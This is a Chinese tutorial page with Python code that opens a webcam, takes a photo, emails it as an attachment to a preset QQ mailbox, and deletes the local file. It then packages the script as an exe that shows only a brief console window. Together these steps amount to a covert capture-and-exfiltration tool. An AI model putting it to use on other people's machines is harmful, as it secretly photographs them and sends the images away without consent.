Python实现调用摄像头拍摄照片

 更新时间:2022年06月18日 10:09:59   作者:Andy-wen  
这篇文章主要为大家详细介绍了如何利用Python实现调用摄像头拍摄照片以及邮箱收集功能,文中的示例代码讲解详细,感兴趣的可以动手尝试一下

步骤

  • 用opencv打开摄像头并拍照
  • 保存照片到本地
  • 获取邮箱(如qq邮箱)的授权码,方法可自行百度
  • 将照片以附件的形式发送到指定邮箱
  • 删除本地照片

代码

import os                                       # 删除图片文件
import cv2                                      # 调用摄像头拍摄照片
from smtplib import SMTP_SSL                    # SSL加密的   传输协议
from email.mime.text import MIMEText            # 构建邮件文本
from email.mime.multipart import MIMEMultipart  # 构建邮件体
from email.header import Header                 # 发送内容


# 调用摄像头拍摄照片
def get_photo():
    cap = cv2.VideoCapture(0)           # 开启摄像头
    f, frame = cap.read()               # 将摄像头中的一帧图片数据保存
    cv2.imwrite('image.jpg', frame)     # 将图片保存为本地文件
    cap.release()                       # 关闭摄像头


# 把图片文件发送到我的邮箱
def send_message():
    # 选择QQ邮箱发送照片
    host_server = 'smtp.qq.com'         # QQ邮箱smtp服务器
    pwd = 'xxxx'            # 授权码
    from_qq_mail = 'xxx@qq.com'          # 发件人
    to_qq_mail = 'xxxx@qq.com'            # 收件人
    msg = MIMEMultipart()               # 创建一封带附件的邮件

    msg['Subject'] = Header('摄像头照片', 'UTF-8')    # 消息主题
    msg['From'] = from_qq_mail                       # 发件人
    msg['To'] = Header("YH", 'UTF-8')                # 收件人
    msg.attach(MIMEText("照片", 'html', 'UTF-8'))    # 添加邮件文本信息

    # 加载附件到邮箱中  SSL 方式   加密
    image = MIMEText(open('image.jpg', 'rb').read(), 'base64', 'utf-8')
    image["Content-Type"] = 'image/jpeg'   # 附件格式为图片的加密数据
    msg.attach(image)                      # 附件添加

    # 开始发送邮件
    smtp = SMTP_SSL(host_server)           # 链接服务器
    smtp .login(from_qq_mail, pwd)         # 登录邮箱
    smtp.sendmail(from_qq_mail, to_qq_mail, msg.as_string())  # 发送邮箱
    smtp.quit()     # 退出


if __name__ == '__main__':
    get_photo()                 # 开启摄像头获取照片
    send_message()              # 发送照片
    os.remove('image.jpg')      # 删除本地照片

实现效果

将写好的程序打包成exe文件

为了减小exe的大小可以自行新建一个虚拟环境再打包

双击exe暂时出现黑框

查看邮箱信息

需要下载附件后自行更改文件后缀就可查看所拍到的图片了

到此这篇关于Python实现调用摄像头拍摄照片的文章就介绍到这了,更多相关Python摄像头拍摄照片内容请搜索脚本之家以前的文章或继续浏览下面的相关文章希望大家以后多多支持脚本之家!

相关文章

  • 详解Python3 定义一个跨越多行的字符串的多种方法

    详解Python3 定义一个跨越多行的字符串的多种方法

    这篇文章主要介绍了详解Python3 定义一个跨越多行的字符串的多种方法,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友们下面随着小编来一起学习学习吧
    2020-09-09
  • 详解Django中类视图使用装饰器的方式

    详解Django中类视图使用装饰器的方式

    这篇文章主要介绍了详解Django中类视图使用装饰器的方式,小编觉得挺不错的,现在分享给大家,也给大家做个参考。一起跟随小编过来看看吧
    2018-08-08
  • 理解python多线程(python多线程简明教程)

    理解python多线程(python多线程简明教程)

    这篇文章主要介绍了理解python多线程,一个快速理解python多线程的简明教程,需要的朋友可以参考下
    2014-06-06
  • 教你怎么用Python监控愉客行车程

    教你怎么用Python监控愉客行车程

    这篇文章主要介绍了教你怎么用Python监控愉客行车程,文中有非常详细的代码示例,对正在学习python的小伙伴们有非常好的帮助,需要的朋友可以参考下
    2021-04-04
  • Python 异步之推导式示例详解

    Python 异步之推导式示例详解

    这篇文章主要为大家介绍了Python 异步之推导式示例详解,有需要的朋友可以借鉴参考下,希望能够有所帮助,祝大家多多进步,早日升职加薪
    2023-03-03
  • Python关于反射的实例代码分享

    Python关于反射的实例代码分享

    在本篇文章里小编给大家整理的是一篇关于Python关于反射的实例代码分享,有需要的朋友们可以参考下。
    2020-02-02
  • Pytorch Tensor基本数学运算详解

    Pytorch Tensor基本数学运算详解

    今天小编就为大家分享一篇Pytorch Tensor基本数学运算详解,具有很好的参考价值,希望对大家有所帮助。一起跟随小编过来看看吧
    2019-12-12
  • Django配置kafka消息队列的实现

    Django配置kafka消息队列的实现

    本文主要介绍了Django配置kafka消息队列的实现,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友们下面随着小编来一起学习学习吧
    2023-05-05
  • Python 实现在文件中的每一行添加一个逗号

    Python 实现在文件中的每一行添加一个逗号

    下面小编就为大家分享一篇Python 实现在文件中的每一行添加一个逗号,具有很好的参考价值,希望对大家有所帮助。一起跟随小编过来看看吧
    2018-04-04
  • python在指定目录下查找gif文件的方法

    python在指定目录下查找gif文件的方法

    这篇文章主要介绍了python在指定目录下查找gif文件的方法,涉及Python操作文件的相关技巧,非常具有实用价值,需要的朋友可以参考下
    2015-05-05

最新评论